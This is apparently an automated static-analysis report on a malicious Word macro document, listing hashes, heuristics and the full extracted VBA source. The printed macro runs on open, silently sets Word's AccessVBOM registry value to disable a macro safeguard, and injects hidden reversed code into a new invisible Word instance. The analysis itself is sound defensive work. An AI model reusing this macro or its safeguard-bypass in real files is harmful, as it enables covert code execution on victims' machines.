Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 77e1de4fbea41046…

MALICIOUS

Office (OOXML)

46.1 KB Created: 2021-05-12 10:58:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-23
MD5: 8ebc5a1d233436c6c7fe884fd3203607 SHA-1: 26dc2ace60735d96d5369bca51d365a47e54b00d SHA-256: 77e1de4fbea41046dc29a1a012908498972e41756ee24cf62129230b6a2ef948
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

This OOXML document contains a malicious VBA macro that executes upon opening via the AUTOOPEN subroutine. The macro utilizes WScript.Shell and CreateObject to construct and write a registry key, likely for persistence or to store configuration. It also appears to download and execute a second-stage payload, indicated by the use of Shell() and the construction of a registry path that suggests further malicious activity.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub tmpIndex()
With CreateObject("wscript.shell")
.RegWrite vbNextPtr & sizeDataBorder & iteratorLeft, 1, "REG_D" & UCase(memGlobal)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub memoryText(procRequestIndex As String)
Set removeCollectionRequest = CreateObject("word.application")
With removeCollectionRequest.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AUTOOPEN()
counterResponseScreen
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2074 bytes
SHA-256: 3314d4313696e267bf71fceeffb50248aac34a5a2e0f5300592df4f28d69f980
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{83B88CD5-7212-44AF-95BE-07598A3B3928}{94418639-D394-4CC5-B1DD-23C54056144A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "screenW"
Function constW()
constW = UCase("_current_")
End Function
Function bufferDatabase()
bufferDatabase = "ware\Microsoft\Off"
End Function
Sub AUTOOPEN()
counterResponseScreen
Dim mainRemove As String
mainRemove = StrReverse(UserForm1.TextBox1)
memoryText mainRemove
End Sub

Attribute VB_Name = "AConst"
Sub memoryText(procRequestIndex As String)
Set removeCollectionRequest = CreateObject("word.application")
With removeCollectionRequest.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString procRequestIndex
End With
removeCollectionRequest.Visible = False
removeCollectionRequest.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "globalScreenTemp"
Function vbNextPtr()
vbNextPtr = "HKEY" & constW & "USER\Soft" & bufferDatabase & "ice\"
End Function
Function iteratorLeft()
iteratorLeft = "\Word\Secur" & textCollection
End Function
Function textCollection()
textCollection = Replace("ity\Access1OM", "1", "VB")
End Function
Sub counterResponseScreen()
tmpIndex
End Sub

Attribute VB_Name = "textOption"
Function sizeDataBorder()
sizeDataBorder = Application.Version
End Function
Function memGlobal()
memGlobal = "word"
End Function
Sub tmpIndex()
With CreateObject("wscript.shell")
.RegWrite vbNextPtr & sizeDataBorder & iteratorLeft, 1, "REG_D" & UCase(memGlobal)
End With
End Sub
Function tmpViewCaption()
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 25600 bytes
SHA-256: 88917358a5ab3db626dbb389776c0f20a7f1b61cbff7770037ba77b456887d79
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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